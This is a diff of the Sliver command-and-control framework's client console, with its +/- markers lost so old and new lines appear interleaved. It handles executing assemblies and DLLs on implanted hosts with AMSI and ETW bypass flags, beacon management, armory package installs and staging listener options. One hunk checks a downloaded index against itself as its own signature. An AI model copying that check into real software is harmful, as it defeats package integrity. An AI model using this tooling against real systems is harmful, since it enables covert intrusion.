outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
InProcess: ctx.Flags.Bool("in-process"),
Runtime: ctx.Flags.String("runtime"),
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
EtwBypass: ctx.Flags.Bool("etw-bypass"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
@@ -347,24 +300,12 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -375,33 +316,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -413,59 +342,23 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
+25 -58
View File
@@ -38,15 +38,12 @@ import (
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -56,15 +53,12 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -72,22 +66,20 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -96,10 +88,7 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -234,7 +223,8 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
minWidth := 150
if minWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
@@ -289,7 +279,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
if minWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -323,26 +313,9 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
strings.Join(bundle.Packages, ", "),
})
}
con.Printf("%s\n", tw.Render())
@@ -403,10 +376,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -442,18 +412,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -463,10 +433,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
}
}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -486,7 +453,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+6 -31
View File
@@ -20,13 +20,11 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
@@ -35,7 +33,6 @@ import (
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
@@ -48,19 +45,6 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -89,26 +73,17 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
if alias.CommandName == name {
installAlias(alias, clientConfig, con)
if name != "all" {
return nil
}
return nil
}
}
for _, ext := range extensions {
if ext.CommandName == name || name == "all" {
if ext.CommandName == name {
installExtension(ext, clientConfig, con)
if name != "all" {
return nil
}
return nil
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -145,7 +120,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -263,7 +238,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
+16 -49
View File
@@ -30,7 +30,6 @@ import (
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -58,13 +57,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
}
//
@@ -80,19 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
@@ -104,28 +91,20 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
if !valid {
return nil, errors.New("index has invalid signature")
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
if err != nil {
return nil, err
}
@@ -137,7 +116,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -145,19 +124,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
@@ -449,7 +416,6 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
@@ -489,8 +455,9 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
+30 -61
View File
@@ -21,7 +21,6 @@ package beacons
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -32,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
@@ -47,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -63,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -72,45 +71,35 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
PrintBeacons(beacons.Beacons, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, filter, filterRegex, con)
tw := renderBeacons(beacons, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
if 182 < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -120,7 +109,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -143,57 +131,38 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
color = console.Green
}
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
rowEntries = []string{
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
rowEntries = []string{
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
}
return tw
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Since(nextCheckin)
delta := time.Now().Sub(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+1 -1
View File
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, "", nil, con)
tw := renderBeacons(beacons.Beacons, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
-71
View File
@@ -1,71 +0,0 @@
package builders
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// BuildersCmd - List external builders
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if len(builders.Builders) == 0 {
con.PrintInfof("No external builders connected to server\n")
} else {
PrintBuilders(builders.Builders, con)
}
}
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
})
for _, builder := range externalBuilders {
targets := []string{}
for _, target := range builder.Targets {
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
}
row := table.Row{
builder.Name,
builder.OperatorName,
strings.Join(builder.Templates, ", "),
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
strings.Join(targets, "\n"),
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
}
+31 -462
View File
@@ -23,7 +23,7 @@ package command
Guidelines when adding a command:
* Try to reuse the same short/long flags for the same parameter,
* Try to reuse the same short/long flags for the same paramenter,
e.g. "timeout" flags should always be -t and --timeout when possible.
Try to avoid creating flags that conflict with others even if you're
not using the flag, e.g. avoid using -t even if your command doesn't
@@ -41,9 +41,7 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -65,14 +63,11 @@ import (
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/rportfwd"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
@@ -403,7 +398,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -458,7 +452,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -482,10 +475,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
},
Run: func(ctx *grumble.Context) error {
